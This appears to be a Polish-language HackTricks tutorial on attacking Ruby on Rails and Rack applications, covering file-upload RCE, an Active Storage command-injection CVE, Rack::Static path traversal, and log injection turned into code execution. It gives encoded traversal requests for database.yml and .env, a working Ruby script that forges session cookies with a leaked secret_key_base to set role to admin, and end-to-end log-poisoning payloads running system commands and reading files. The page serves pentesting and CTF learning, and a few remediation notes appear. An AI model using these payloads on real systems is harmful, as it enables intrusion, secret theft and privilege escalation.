Ruby Tricks

Reading time: 8 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

File upload to RCE

Jak wyjaśniono w this article, wgrywanie pliku .rb do wrażliwych katalogów takich jak config/initializers/ może prowadzić do remote code execution (RCE) w aplikacjach Ruby on Rails.

Tips:

  • Inne lokalizacje ładowane przy starcie aplikacji (boot/eager-load), które są wykonywane na starcie aplikacji, także są ryzykowne, jeśli są writeable (np. config/initializers/ to klasyczny przykład). Jeśli znajdziesz dowolny upload pliku, który trafia gdziekolwiek pod config/ i jest później evaluated/required, możesz uzyskać RCE przy starcie.
  • Szukaj dev/staging buildów, które kopiują pliki kontrolowane przez użytkownika do container image, gdzie Rails załaduje je przy boot.

Active Storage image transformation → command execution (CVE-2025-24293)

Kiedy aplikacja używa Active Storage z image_processing + mini_magick, i przekazuje nieufne parametry do metod transformacji obrazów, Rails w wersjach przed 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mógł pozwalać na command injection, ponieważ niektóre metody transformacji były błędnie dozwolone domyślnie.

  • A vulnerable pattern looks like:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

gdzie params[:t] i/lub params[:v] są kontrolowane przez atakującego.

  • What to try during testing

  • Zidentyfikuj endpointy, które akceptują opcje variant/processing, nazwy transformacji lub dowolne argumenty ImageMagick.

  • Fuzz params[:t] i params[:v] w poszukiwaniu podejrzanych błędów lub efektów ubocznych wykonania. Jeśli możesz wpłynąć na nazwę metody lub przekazać surowe argumenty docierające do MiniMagick, możesz uzyskać code exec na hoście przetwarzającym obrazy.

  • Jeśli masz tylko read-access do wygenerowanych variants, spróbuj blind exfiltration przez spreparowane operacje ImageMagick.

  • Remediation/detections

  • Jeśli widzisz Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 z Active Storage + image_processing + mini_magick i transformacjami kontrolowanymi przez użytkownika, uznaj to za eksploatowalne. Zalecane jest uaktualnienie oraz wymuszenie ścisłych allowlists dla metod/parametrów oraz wzmocniona polityka ImageMagick.

Rack::Static LFI / path traversal (CVE-2025-27610)

Jeśli target stack używa Rack middleware bezpośrednio lub przez frameworki, wersje rack przed 2.2.13, 3.0.14 i 3.1.12 pozwalają na Local File Inclusion via Rack::Static gdy :root jest unset/misconfigured. Zakodowany traversal w PATH_INFO może ujawnić pliki pod katalogiem roboczym procesu lub nieoczekiwanym rootem.

  • Hunt for apps that mount Rack::Static in config.ru or middleware stacks. Try encoded traversals against static paths, for example:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Dopasuj prefix do skonfigurowanych urls:. Jeśli aplikacja odpowiada zawartością pliku, najprawdopodobniej masz LFI do wszystkiego pod rozstrzygniętym :root.

  • Mitigation: upgrade Rack; ensure :root only points to a directory of public files and is explicitly set.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails szyfruje i podpisuje cookies używając kluczy pochodzących z secret_key_base. If that value leaks (np. w repo, logach lub błędnie skonfigurowanych credentials), zazwyczaj możesz odszyfrować, zmodyfikować i ponownie zaszyfrować cookies. To często prowadzi do authz bypass jeśli aplikacja przechowuje role, user IDs lub feature flags w cookies.

Minimalny kod Ruby do odszyfrowania i ponownego zaszyfrowania nowoczesnych cookies (AES-256-GCM, default in recent Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Uwagi:

  • Starsze aplikacje mogą używać AES-256-CBC i soli encrypted cookie / signed encrypted cookie, albo serializerów JSON/Marshal. Dostosuj sole, szyfr i serializer odpowiednio.
  • W przypadku kompromitacji/oceny, obróć secret_key_base, aby unieważnić wszystkie istniejące cookies.

Zobacz także (Ruby/Rails-specific vulns)

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

Gdy aplikacja (często prosty endpoint Rack/Sinatra/Rails) spełnia oba warunki:

  • loguje ciąg sterowany przez użytkownika dosłownie, oraz
  • później loaduje plik, którego ścieżka jest wyprowadzona z tego samego ciągu (po Pathname#cleanpath),

Często można osiągnąć RCE, zatruwając log i następnie zmuszając aplikację do loadowania pliku z logiem. Kluczowe prymitywy:

  • Ruby load wykonuje zawartość docelowego pliku jako Ruby, niezależnie od rozszerzenia pliku. Każdy czytelny plik tekstowy, którego zawartość da się sparsować jako Ruby, zostanie wykonany.
  • Pathname#cleanpath redukuje segmenty . i .. bez odwołań do systemu plików, umożliwiając path smuggling: sterowany przez atakującego junk może być dopisany na początku do logowania, podczas gdy oczyszczona ścieżka nadal rozwiązuje się do zamierzonego pliku do wykonania (np. ../logs/error.log).

Minimalny wzorzec podatności

ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Dlaczego log może zawierać poprawny Ruby

Logger zapisuje linie prefiksu takie jak:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

W Ruby # rozpoczyna komentarz, a 9/2/2025 to po prostu działanie arytmetyczne. Aby wstrzyknąć prawidłowy kod Ruby musisz:

  • Rozpocząć swój payload na nowej linii, aby nie był skomentowany przez # w linii INFO; wyślij wiodący znak nowej linii (\n lub %0A).
  • Zamknąć wiszący [ wprowadzony przez linię INFO. Powszechnym trikiem jest rozpoczęcie od ] i opcjonalnie zadowolenie parsera przez ][0]=1.
  • Następnie umieścić dowolny kod Ruby (np. system(...)).

Przykład tego, co znajdzie się w logu po jednym żądaniu z przygotowanym parametrem:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Przemycanie pojedynczego ciągu, który jednocześnie loguje kod i rozwiązuje się do ścieżki loga

Chcemy pojedynczego ciągu kontrolowanego przez atakującego, który:

  • gdy zostanie zalogowany w surowej postaci, zawiera nasz Ruby payload, oraz
  • po przejściu przez Pathname.new(<input>).cleanpath rozwiązuje się do ../logs/error.log, więc następne load wykona właśnie zatruty plik logu.

Pathname#cleanpath ignoruje schemes i redukuje traversal components, więc poniższe działa:

ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Znak # przed :// powoduje, że Ruby ignoruje końcówkę podczas wykonywania logu, podczas gdy cleanpath nadal redukuje sufiks do ../logs/error.log.
  • Prowadzący znak nowej linii powoduje przerwanie linii INFO; ] zamyka wiszący nawias; ][0]=1 spełnia wymagania parsera.

End-to-end exploitation

  1. Wyślij następujące jako nazwę skryptu kopii zapasowej (jeśli trzeba, zakoduj pierwszy znak nowej linii jako %0A):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Aplikacja zapisuje twój surowy ciąg do logs/error.log.
  2. Aplikacja oblicza cleanpath, który rozwiązuje się do ../logs/error.log i wywołuje load na nim.
  3. Ruby wykonuje kod, który wstrzyknięto do logu.

Aby wykonać eksfiltrację pliku w środowisku typu CTF:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (pierwszy znak to nowa linia):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks